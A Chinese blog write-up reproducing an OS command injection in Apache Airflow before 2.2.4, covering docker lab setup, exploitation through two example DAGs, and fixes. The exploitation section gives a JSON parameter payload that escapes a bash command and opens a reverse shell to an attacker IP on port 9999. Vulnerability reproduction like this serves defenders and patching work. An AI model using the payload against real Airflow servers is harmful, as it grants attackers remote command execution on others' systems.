Apache Airflow OS命令注入

0x00 简介

Apache Airflow是美国阿帕奇(Apache)基金会的一套用于创建、管理和监控工作流程的开源平台。该平台具有可扩展和动态监控等特点。

0x01 漏洞概述

在 Apache Airflow 2.2.4 之前的版本中,一些示例 DAG 没有正确清理用户提供的参数,使其容易受到来自 Web UI 的 OS 命令注入的影响。

0x02 影响版本

在 Apache Airflow 2.2.4 之前的版本。

0x03 环境搭建

在docker中配置启动airflow

下载yaml文件

curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.2.3/docker-compose.yaml'

vim docker-compose.yaml

修改并添加参数

fig:

docker镜像初始化

docker-compose up airflow-init

启动airflow

docker-compose -f docker-compose.yaml up -d

fig:

airflow对运行内存的需求比较大,可能需要在vm中对虚拟机扩容。

fig:

0x04 漏洞复现

在攻击机上打开目标ip地址:8080,账号密码都是airflow登录进来。

fig:

攻击方式一:example_passing_params_via_test_command.py DAG命令注入

模板表达式中的参数Foo是外部可控的,并通过jiaja2模板进行渲染,继续分析execute函数发现此参数值可以去执行bash命令

fig:

在这个DAG中插入bash反弹shell的paylaod。

{"my_param":"\";bash -i >& /dev/tcp/xx.xx.xx.xx/9999 0>&1;\""}

同时在攻击机上监听9999端口,随后点击执行。

fig:

fig:

可以看到,成功执行。

fig:

攻击方式二:tutorial.py DAG命令注入

tutorial.py中有着相同的漏洞原理,同样是可控参数+当做bash命令执行。

在tutorial drag中执行以下payload

{"my_param":"\";bash -i >& /dev/tcp/xx.xx.xx.xx/9999 0>&1;\""}

fig:

执行后可在攻击机上看到反弹shell成功

fig:

0x05 修复方式

1、目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

http://seclists.org/oss-sec/2022/q1/160

2、删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)

参考链接:

https://blog.csdn.net/qq_44281295/article/details/126512145

https://hackerone.com/reports/1492896


__EOF__

本文作者C10ud
本文链接https://www.cnblogs.com/akger/p/17245652.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   C10ud  阅读(52)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
点击右上角即可分享
微信分享提示